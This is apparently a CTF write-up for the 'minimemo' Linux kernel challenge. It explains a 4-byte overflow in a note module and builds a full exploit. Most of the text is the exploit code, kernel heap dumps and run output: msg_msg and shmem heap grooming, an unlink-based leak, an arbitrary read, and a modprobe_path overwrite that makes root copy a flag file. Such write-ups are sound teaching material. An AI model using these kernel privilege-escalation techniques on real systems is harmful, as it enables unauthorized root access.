minimemo

Description

Little notes for some little ideas.

nc 168.119.108.148 14010

Attachment: minimemo.tar.gz xpl.py pwn.c

Team: Super Guesser

minimemo was a heap note like kernel challenge, but it only allowed to add/edit/delete notes on the kernel, so no easy leaks here.

The main bug for this challenge was in the edit function:

typedef struct
{
    int id;
    char data[20];
} note_t;

typedef struct
{
    char data[20];
    int id;
    int size;
} request_t;

typedef struct notelist_t
{
    note_t note;
    struct notelist_t *fd;
    struct notelist_t *bk;
} notelist_t;

case CMD_EDIT:
{
    notelist_t *cur;
    for (cur = top.fd; cur != ⊤ cur = cur->fd)
    {
        if (req.id == cur->note.id)
        {
            if (req.size < 0 || req.size >= NOTE_SIZE)
                break;

            memcpy(cur->note.data, req.data, req.size);   // overflow into next chunk possible (4 bytes)
            result = req.id;
            break;
      }
    }
    break;
}

The edit function checks the size of our requests, but compares it with NOTE_SIZE (which will be 0x18), but the note.data field has only a size of 0x14, so we can overwrite 4 bytes after note.data.

But in our request, we’ll need to specify the data to copy in the first 0x14 bytes followed by the id of the note to edit. This means, we can overwrite the bytes after note.data only with the id from the note itself.

After note.data will be cur->fd, so we can overwrite the lower 4 bytes of the fd pointer to point somewhere else (for now just with the id of the note).

Since we have no kernel leaks by now, the best idea would be to arrange some objects in such a way, that we only need to overwrite the LSB of the fd pointer to point it to somewhere useful.

To get an initial leak, I created two notes and a msg_seq struct behind the second note (by creating an oversized msg_msg).

To get a proper value for overwriting cur->fd, I kept deleting and recreating the second note until the LSB of its id matched the target address byte.

void* map = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANON|MAP_FIXED|MAP_PRIVATE, -1, 0);

...

for(int i=0; i<2; i++) {
    key[i] = donew(fd);    
}
    
while(1) {
    key[2] = donew(fd);

    if((key[2] & 0xff) == 0xc0) {            
        printf("Good key: %p\n", key[2]);
        break;
    }
    else {
        dodel(fd, key[2]);
    }
}

memset(payload, 0x41, 0x2000);

lptr = &(payload[0xfd0+0x30+0x10]);
(*lptr++) = 0x1337000;
(*lptr++) = 0x1337100;

// Create msg_seq behind second note
msgalloc(qid, payload, 0xfd0 + 0x40 + 0x20);

// Overwrite lsb of note2->fd
doedit(fd, key[2], 0x15, payload);

// delete msg_msg seq to trigger unlink into mapped region
dodel(fd, 0x0);

The last edit, will overwrite the LSB of the fd pointer with 0xc0 (from our forged id). This way, note2->fd will point to the msg_seq struct. In the msg_seq struct, I prepared a fd/bk pointer, pointing into an mmapped region, so the unlink from CMD_DEL will not crash (it just needs two valid pointers).

Since the first qword of the msg_seq struct will be 0x0, we can then delete the note with id 0x0 (delete will traverse the node list, and since we corrupted the fd pointer to the msg_seq struct, it will try to delete that and unlink it from the note list).

After forging note 2 with a proper id and allocating msg_seq heap looks like

0xffff888002e8f880:	0x0000000031b42bc0	0x0000000000000000 <= note 2 (LSB id ending in 0xc0)
0xffff888002e8f890:	0x0000000000000000	0xffff888002e8f840 <= note 2 FD
0xffff888002e8f8a0:	0xffffffffc0002100	0x0000000000000000
0xffff888002e8f8b0:	0x0000000000000000	0x0000000000000000
0xffff888002e8f8c0:	0x0000000000000000	0x4141414141414141 <= msg_seq
0xffff888002e8f8d0:	0x4141414141414141	0x0000000001337000 <= fake FD
0xffff888002e8f8e0:	0x0000000001337100	0x4141414141414141 <= fake BK
0xffff888002e8f8f0:	0x4141414141414141	0x0000000000000000
0xffff888002e8f900:	0x0000000000000024	0x0000003200000029
0xffff888002e8f910:	0x0000000000000000	0x0000000000000000

After overwriting the LSB of note2->fd

0xffff888002e8f880:	0x4141414131b42bc0	0x4141414141414141 <= note 2
0xffff888002e8f890:	0x4141414141414141	0xffff888002e8f8c0 <= note 2 FD (now pointing to msg_seq)
0xffff888002e8f8a0:	0xffffffffc0002100	0x0000000000000000
0xffff888002e8f8b0:	0x0000000000000000	0x0000000000000000
0xffff888002e8f8c0:	0x0000000000000000	0x4141414141414141 <= msg_seq (fake note with id 0x0)
0xffff888002e8f8d0:	0x4141414141414141	0x0000000001337000
0xffff888002e8f8e0:	0x0000000001337100	0x4141414141414141
0xffff888002e8f8f0:	0x4141414141414141	0x0000000000000000

After deleting the note with id 0x0

0xffff888002e8f880:	0x4141414131b42bc0	0x4141414141414141 <= note 2
0xffff888002e8f890:	0x4141414141414141	0xffff888002e8f8c0
0xffff888002e8f8a0:	0xffffffffc0002100	0x0000000000000000
0xffff888002e8f8b0:	0x0000000000000000	0x0000000000000000
0xffff888002e8f8c0:	0x0000000000000000	0x4141414141414141 <= msg_seq
0xffff888002e8f8d0:	0x4141414141414141	0x0000000001337000
0xffff888002e8f8e0:	0xffff888002e8f900	0x4141414141414141 <= updated bk pointer from CMD_DEL
0xffff888002e8f8f0:	0x4141414141414141	0x0000000000000000
0xffff888002e8f900:	0x0000000000000024	0x0000003200000029

The unlink functionality from CMD_DEL now updated the bk pointer of our fake chunk.

We can now just receive the complete msg_msg again and get the first leak from it :)

// receive msg for kernel heap leak
msgrcv(qid, payload, 0xfd0+0x40+0x20, 1, 0);

unsigned long kleak = *((unsigned long*)&(payload[0xff0]));

printf("kernel leak     : %p\n", kleak);
kernel leak     : 0xffff888002e8f900

Having a leak to the note heap itself gives us more control, since we can now overwrite complete addresses. To have something useful on the note heap to begin with, I just did a shmem spray to get some kernel addresses there (preferably an address in the same memory region as modprobe_path).

After that, I used the fd lsb overwrite again, but this time, I let the fd pointer point into the note itself, so that we can overwrite the complete fd pointer with an arbitrary value.

Though manipulating the fd pointer alone will not help us much, since we cannot show notes, so we cannot use it to “directly” leak something.

For this, I also put a msg_msg struct in the same heap, and then used the arbitrary overwrite to point the fd of the note into the msg_msg struct, so we can overwrite msg_size and msg_next. With this we can then do an arbitrary read (by pointing msg_next to an address near the address we want to read and setting msg_size > 0xfd0).

unsigned long modprobe_target = kleak - 0x198;
printf("modprobe_target: %p\n", modprobe_target);

// put shmem structs on the note heap
spray_shmem(20, 0x40);

dodel(fd, key[2]);

// recreate second note until LSB would point into note itself
while(1) {
    key[2] = donew(fd);

    if((key[2] & 0xff) == 0x90) {            
        printf("Good key: %p\n", key[2]);
        break;
    }
    else {
        dodel(fd, key[2]);
    }
}

// overwrite fd lsb with id lsb
doedit(fd, key[2], 0x15, payload);

// allocate msg_msg behind note
msgalloc(qid, payload, 0x40);

// prepare payload to overwrite note 2 fd
memset(payload, 0, 0x40);
lptr = &(payload[4]);
*lptr = kleak-0x30;    // points into msg_msg struct

doedit(fd, 0x41414141, 0x4+8, payload);     

// prepare payload to overwrite msg_msg
memset(payload, 0, 0x40);
lptr = &(payload[4]);
(*lptr++) = 0x2000;              // msg_size
(*lptr++) = modprobe_target-8;   // msg_next

doedit(fd, 0x1, 0x4+8+8, payload);

// receive corrupted msg_msg for leak    
msgrcv(qid, payload, 0x2000, 1, 0);

unsigned long modprobe_leak = *((unsigned long*)&(payload[0xfd8]));
unsigned long modprobe = modprobe_leak - 0x7bfe0;

printf("modprobe leak   : %p\n", modprobe_leak);
printf("modprobe        : %p\n", modprobe);

Let’s see, what happens there…

After recreating note2 with a proper id:

0xffff888002e99880:	0x000000005e3cef90	0x0000000000000000  <= note 2 (lsb 0x90)
0xffff888002e99890:	0x0000000000000000	0xffff888002e998c0
0xffff888002e998a0:	0xffffffffc0002100	0x0000000000000000
0xffff888002e998b0:	0x0000000000000000	0x0000000000000000
0xffff888002e998c0:	0x0000000000000000	0x4141414141414141
0xffff888002e998d0:	0x4141414141414141	0x0000000001337000
0xffff888002e998e0:	0xffff888002e99880	0x4141414141414141
0xffff888002e998f0:	0x4141414141414141	0x0000000000000000

After overwriting the fd of note 2 with 0x90 and allocating another msg_msg:

0xffff888002e99880:	0x000000015e3cef90	0x4141414100000000  <= note 2
0xffff888002e99890:	0x4141414141414141	0xffff888002e99890  <= note 2 fd (=> points to note2+0x10)
0xffff888002e998a0:	0xffffffffc0002100	0x0000000000000000
0xffff888002e998b0:	0x0000000000000000	0x0000000000000000
0xffff888002e998c0:	0xffff888002e95cc0	0xffff888002e95cc0  <= msg_msg
0xffff888002e998d0:	0x0000000000000001	0x0000000000000010
0xffff888002e998e0:	0x0000000000000000	0x0000000000000000
0xffff888002e998f0:	0x4141414141414141	0x4141414141414141
0xffff888002e99900:	0x0000000000000000	0x0000000000000000
0xffff888002e99910:	0x0000000000000000	0x0000000000000000

After the next edit of note 2, we will have the fd overwritten with a pointer into the msg_msg struct.

0xffff888002e99880:	0x000000015e3cef90	0x4141414100000000  <= note 2
0xffff888002e99890:	0x0000000041414141	0xffff888002e998d0  <= note 2 fd (=> now points into msg_msg)
0xffff888002e998a0:	0xffffffffc0002100	0x0000000000000000
0xffff888002e998b0:	0x0000000000000000	0x0000000000000000
0xffff888002e998c0:	0xffff888002e95cc0	0xffff888002e95cc0  <= msg_msg
0xffff888002e998d0:	0x0000000000000001	0x0000000000000010  <= id / msg_size
0xffff888002e998e0:	0x0000000000000000	0x0000000000000000  <= msg_next
0xffff888002e998f0:	0x4141414141414141	0x4141414141414141

So, we now have a fake note inside msg_msg with id = 0x1. We can now edit this fake note to overwrite msg_size and msg_next.

0xffff888002e99880:	0x000000015e3cef90	0x4141414100000000  <= note 2
0xffff888002e99890:	0x0000000041414141	0xffff888002e998d0
0xffff888002e998a0:	0xffffffffc0002100	0x0000000000000000
0xffff888002e998b0:	0x0000000000000000	0x0000000000000000
0xffff888002e998c0:	0xffff888002e95cc0	0xffff888002e95cc0  <= msg_msg
0xffff888002e998d0:	0x0000000000000001	0x0000000000002000  <= id / msg_size (now 0x2000)
0xffff888002e998e0:	0xffff888002e99760	0x0000000000000000  <= msg_next (=> leaking address)
0xffff888002e998f0:	0x4141414141414141	0x4141414141414141
0xffff888002e99900:	0x0000000000000000	0x0000000000000000

gef➤  x/30gx 0xffff888002e99760
0xffff888002e99760:	0x0000000000000000	0xffffffff81eb27a0  <= fake msg_seq
0xffff888002e99770:	0xffff888002ec7080	0x0000000300000001
0xffff888002e99780:	0xffffffff81d0d184	0xffff888002e99788
0xffff888002e99790:	0xffff888002e99788	0xffffffffc0002190
0xffff888002e997a0:	0x0000000000000000	0xffffffff81eb27a0
0xffff888002e997b0:	0xffff888002ebf100	0x0000000300000001

So we now have a fake msg_msg, which has a msg_seq, which points to an address, which will be in the same memory region as modprobe_path, perfect :)

Just receive the complete message:

modprobe leak   : 0xffffffff81eb27a0
modprobe        : 0xffffffff81e367c0

Now, we can abuse the lsb fd overwrite one last time to overwrite the fd pointer of a note with a pointer above modprobe_path.

This time, I moved it a bit, so that the fd pointer of the note will point to note + 0xc. By doing this, we can overwrite the id of the note and the fd pointer in one go (it must not have an id of 0x0, since that will be the id of our precious modprobe chunk).

// Trying to fix remote issues ;)
key[3] = donew(fd);
key[4] = donew(fd);

while(1) {
    key[4] = donew(fd);

    if((key[4] & 0xff) == 0x8c) {
        printf("Good key: %p\n", key[4]);
        break;
    }
    else {
        dodel(fd, key[4]);
    }
}

// Overwrite fd lsb
doedit(fd, key[4], 0x15, payload);

lptr = &(payload[0]);
(*lptr++) = 0x1;                    // new note id
(*lptr++) = modprobe - 0x10+4;      // fd => modprobe_path

doedit(fd, 0x0, 0x8+8, payload);

So, again, we recreate the note until the lsb of id has a good value (0x8c in this case). We’ll use it again to overwrite the fd to make it point into the note itself (this fake chunk will have id 0x0 for now).

And we then edit this fake chunk, to overwrite the id with something != 0x0 and let the fd point slightly above modprobe_path.

0xffff888002e93880:	0x000000002145278c	0x0000000000000000  <= note 4 (id lsb 0x8c)
0xffff888002e93890:	0x0000000000000000	0xffff888002e938c0  <= note 4 fd
0xffff888002e938a0:	0xffffffffc0002100	0x0000000000000000
0xffff888002e938b0:	0x0000000000000000	0x0000000000000000

After overwriting fd lsb

0xffff888002e93880:	0x000000002145278c	0x0000000000000000  <= note 4
0xffff888002e93890:	0x0000000000000000	0xffff888002e9388c  <= note 4 id 0x0 / note 4 fd (=> note + 0xc)
0xffff888002e938a0:	0xffffffffc0002100	0x0000000000000000
0xffff888002e938b0:	0x0000000000000000	0x0000000000000000

After editing the fake note (id 0x0)

0xffff888002e93880:	0x000000002145278c	0x0000000000000000  <= note 4
0xffff888002e93890:	0x0000000000000001	0xffffffff81e367b4  <= note 4 id 0x1 / note 4 fd (=> modprobe path)
0xffff888002e938a0:	0xffffffffc0002100	0x0000000000000000
0xffff888002e938b0:	0x0000000000000000	0x0000000000000000

Everything prepared, we can now just overwrite modprobe_path and do the “usual” modprobe copy flag exploit :)

system("echo -ne '#!/bin/sh\n/bin/cp /root/flag.txt /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/c");
system("chmod +x /tmp/c");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

...

memset(payload, 0, 0x40);
strcpy(payload+8, "/tmp/c");

// overwrite modprobe_path with /tmp/c
doedit(fd, 0, 0x10, payload);

system("/tmp/dummy");      // trigger modprobe copy
system("cat /tmp/flag");

As always, my initial exploit didn’t work remote, so I had to completely rewrite it (like shown in this writeup).

But still, it was a little bit off on remote, so I had to allocate an additional 0x40 chunk at the start to make the exploit work (differed between local and remote execution via argc, so the exploit has to be run with pwn 1 when running remote).

$ python xpl.py 1
[*] Compile
[+] Opening connection to 168.119.108.148 on port 14010: Done
[+] Starting local process './pow.py': pid 82506
Prefix => RAzo
[*] Booting
[+] Upload: Done
[*] Switching to interactive mode
$ ./pwn 1
Good key        : 0x64028ac0
kernel leak     : 0xffff9d7901a8e900
modprobe_target : 0xffff9d7901a8e768
Good key        : 0x2e3d7890
modprobe leak   : 0xffffffffbf6b27a0
modprobe        : 0xffffffffbf6367c0
Good key        : 0x43f32c8c
/tmp/dummy: line 1: \xff\xff\xff\xff: not found
ASIS{unl1nk_4tt4ck_1n_k3rn3l-l4nd_1s_5tr0ng!}

That was a very nice and fun challenge (as expected from ptr-yudai ;))

Though from reading the flag, this was maybe not completely the intended way, since I used the unlink just for the initial leak.

In hindsight, doing writes via abusing the unlink might have been much easier (since there are no checks on fd/bk), but even after completely rewriting the exploit after it failed remote, it was still enough for first blood, so… shrug :)